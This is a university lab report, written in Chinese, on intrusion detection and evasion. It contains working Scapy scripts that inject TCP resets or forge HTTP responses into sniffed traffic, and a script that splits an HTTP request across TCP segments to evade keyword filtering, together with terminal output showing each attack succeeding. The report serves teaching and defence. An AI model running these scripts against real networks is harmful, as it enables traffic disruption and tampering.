网络安全工程实践：实验四

> 李家昊 2017011620
> 李文博 2017011447

Task 1: 入侵检测实验

攻击者代码如下

```
from scapy.all import *
from scapy.layers.http import *

MITM = False


def spoof_callback(pkt):
    if HTTPRequest in pkt and 'secret' in pkt[HTTPRequest].Path.decode():
        pkt.show()
        # Parse HTTP request
        dport = pkt[TCP].sport
        sport = pkt[TCP].dport
        seq = pkt[TCP].ack
        ack = pkt[TCP].seq + len(pkt[HTTP])
        dst_ip = pkt[IP].src
        src_ip = pkt[IP].dst

        if MITM:
            # If mitm attack, send a fake HTTP response.
            resp = IP(dst=dst_ip, src=src_ip)/TCP(sport=sport, dport=dport,
seq=seq, ack=ack, flags='PA')/'HTTP/1.1 200 OK\r\nServer: nginx/1.14.0
(Ubuntu)\r\nDate: Tue, 24 Nov 2020 16:14:35 GMT\r\nContent-Type:
text/html\r\nContent-Length: 74\r\nLast-Modified: Sat, 14 Nov 2020 20:42:45
GMT\r\nConnection: keep-alive\r\nETag: "5fb04145-4a"\r\nAccept-Ranges:
bytes\r\n\r\n<html>\n<h1>Secret</h1>\n<p>\n2017011447 2017011447
2017011447\t\n</p>\n</html>\n'
        else:
            # If not mitm, send a TCP RST.
            resp = IP(dst=dst_ip, src=src_ip)/TCP(sport=sport, dport=dport,
seq=seq, flags='R')

        resp.show()
        send(resp)


if __name__ == '__main__':
    sniff(filter='port 80', prn=spoof_callback)
```

正常情况下，受害者访问 http://evasion.course.secrank.cn/secret.html，获取到对应的 secret 信息

```
datacon@competition18-project3-team29-machine0:~/Documents$ curl http://evasion.
course.secrank.cn/secret.html
<html>
<h1>Secret</h1>
<p>
5743af63401da6a49a244450c757f904
</p>
</html>
```

攻击者运行攻击脚本

```
sudo python3 sniff.py
```

受害者再次访问 http://evasion.course.secrank.cn/secret.html，无法获取对应 secret 页面

```
datacon@competition18-project3-team29-machine0:~/Documents$ curl http://evasion.
course.secrank.cn/secret.html
curl: (56) Recv failure: Connection reset by peer
```

此时受害者仍能正常访问其他页面，比如 http://evasion.course.secrank.cn

```
datacon@competition18-project3-team29-machine0:~/Documents$ curl http://evasion.
course.secrank.cn
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
```

将代码中 `MITM` 改为 `True` ，即可构造出伪造的 HTTP 包，给受害者返回一个假的 secret。受害者访问 http://evasion.course.secrank.cn/secret.html，获取到伪造的 secret 页面：

```
datacon@competition18-project3-team29-machine0:~/Documents$ curl http://evasion.
course.secrank.cn/secret.html
<html>
<h1>Secret</h1>
<p>
2017011447 2017011447 2017011447
</p>
</html>
```

思考题

面临这类攻击，作为网络管理员的您应该如何抵御此类攻击?

1. 关闭路由器的旁路模式，避免TCP流量被攻击者监听。

Task 2: 入侵逃逸实验

入侵逃逸代码如下

```
from scapy.all import *
from scapy.layers.http import *


if __name__ == '__main__':
    # Fragment TCP packet
    raw1 = 'GET /sec'
    raw2 = 'ret.html HTTP/1.1\r\nHost: evasion.course.secrank.cn\r\n\r\n'
    # Establish TCP connection
    client = TCP_client.tcplink(HTTP, 'evasion.course.secrank.cn', 80)
    # Send packets
    client.send(Raw(raw1))
    client.send(Raw(raw2))
    print(client.recv())
```

由于运行脚本时，在 TCP 三次握手过程中，操作系统会自动发送一个 RST 包给目标，因此需要配置防火墙扔掉这个 RST 包

```
sudo iptables -A OUTPUT -p tcp -s 10.0.3.58 --tcp-flags RST RST -j DROP
```

受害者运行脚本

```
sudo python3 fragment.py
```

可以获取到 http://evasion.course.secrank.cn 的页面信息

```
datacon@competition18-project3-team29-machine0:~/Documents$ sudo python3 fragment.py
b'HTTP/1.1 200 OK\r\nServer: nginx/1.14.0 (Ubuntu)\r\nDate: Wed, 25 Nov 2020 02:25:35 GMT\r\nContent-Type: text/html\r\nContent-Length: 74\r\nLast-Modified: Sat, 14 Nov 2020 20:42:45 GMT\r\nConnection: keep-alive\r\nETag: "5fb04145-4a"\r\nAccept-Ranges: bytes\r\n\r\n<html>\n<h1>Secret</h1>\n<p>\n5743af63401da6a49a244450c757f904\t\n</p>\n</html>\n'
```

思考题

面临Evasion的绕过方式，作为攻击者的您还有什么方式杜绝此类逃逸方式?

1. 将 TCP 分片重组后再进行敏感词检测。
2. 建立 IP 黑名单，当受害者与黑名单内 IP 建立 TCP 连接时，攻击者发送 TCP RST 包阻断连接。

分工情况

两人共同完成实验和报告撰写。